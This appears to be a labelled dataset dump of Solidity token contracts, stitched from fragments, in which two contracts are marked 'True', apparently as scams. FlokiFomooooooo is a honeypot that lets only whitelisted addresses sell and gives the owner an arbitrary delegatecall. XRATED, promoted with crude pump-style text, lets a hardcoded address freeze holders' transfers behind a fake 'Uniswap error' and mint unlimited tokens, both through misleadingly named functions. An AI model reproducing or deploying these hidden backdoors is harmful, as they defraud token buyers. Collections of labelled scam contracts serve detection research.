* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FlokiFomooooooo {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | True | [
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1025,
21318,
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1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
102
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/*
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
Presenting X RATED
██╗░░██╗ ██████╗░░█████╗░████████╗███████╗██████╗░
╚██╗██╔╝ ██╔══██╗██╔══██╗╚══██╔══╝██╔════╝██╔══██╗
░╚███╔╝░ ██████╔╝███████║░░░██║░░░█████╗░░██║░░██║
░██╔██╗░ ██╔══██╗██╔══██║░░░██║░░░██╔══╝░░██║░░██║
██╔╝╚██╗ ██║░░██║██║░░██║░░░██║░░░███████╗██████╔╝
╚═╝░░╚═╝ ╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░╚══════╝╚═════╝░
-By Ella
────────╠███████───███████╠─────────────
───────╠█████████─╠█████████────────────
───────█████████████████████╠───────────
──────╠██████████████████████───────────
──────███████████████████████───────────
──────███████████████████████╠──────────
──────███████████████████████╠──────────
──────███████████████████████───────────
──────╠██████████████████████───────────
──────╠█████████████████████╠───────────
───────█████████████████████────────────
───────╠███████████████████╠────────────
────────╠███████████──╠████─────────────
─────────██████████─────╠█╠─────────────
─────────╠████████──███─────────────────
──────────╠███████─╠█████───────────────
─────╠╠────╠██████─╠███████─────────────
──█████╠────╠█████╠─╠███████╠───────────
─╠███████╠█╠─╠█████╠──████████╠─────────
╠███████████╠──█████───╠████████╠───────
╠█████████████──╠██╠─────╠████████╠─────
─██████████████───────────█████████╠────
──╠█████████████╠───────╠███████████╠───
───╠█████████████████████████████████╠──
────╠█████████████████████████████████──
─────╠█████████████████████████████████─
───────████████████████████████████████╠
────────╠███████████████████████████████
─────────╠██████████████████████████████
───────────█████████████████████████████
────────────╠██████████████████████████─
───────────────────────────────╠██████──
─────────────────────────────────███╠───
─────────────────────────────────╠█╠────
The Hype IS REAL
We all love Porn
lets all show the power of our community
2 Web Cam Girls Ready to Market this Token
Keep an Eye out there
🚀0% Team Tokens 🚀
Let the RUSH be Real
For every Zero Killed, 1% will be bought back and Burned 🔥 to the BLACKHOLE address 🚀
-SLIPPAGE 12%+
*/
/*
A Deflationary tokenomics 🚀
XRATED CONTENT with Real world X Rated content
Not some pump and dump TOKEN
Dev Team DOXXXED 🚀
Whole Squad Hyped 🚀
Shit is Real, So are we
Token WITH THE 100% BULLISH SENTIMENT
TOKENOMICS
- 1,000,000,000,000,000 XRATED
- 12% TAX ON EACH TRANSACTION
- 4% TO UNISWAPLIQUIDITY POOL
- 4% BURNED TO BLACKHOLE
- 4% Redistribution To all HOLDERS
- 35% INITIAL BURN
🔥FAIRLAUNCH ON UNISWAP🔥
*/
pragma solidity 0.5.16;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IBEP20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
*
NOTE:
Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership1(address newOwner) internal onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "XRATED";
_symbol = "XRATED";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0xe5FF120232836C7de3876Ae4561b4521815C84cf,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0xe5FF120232836C7de3876Ae4561b4521815C84cf,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(12);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
}
//This contract does not provide legal, investment, financial, tax, or any other type of similar advice. | True | [
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] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
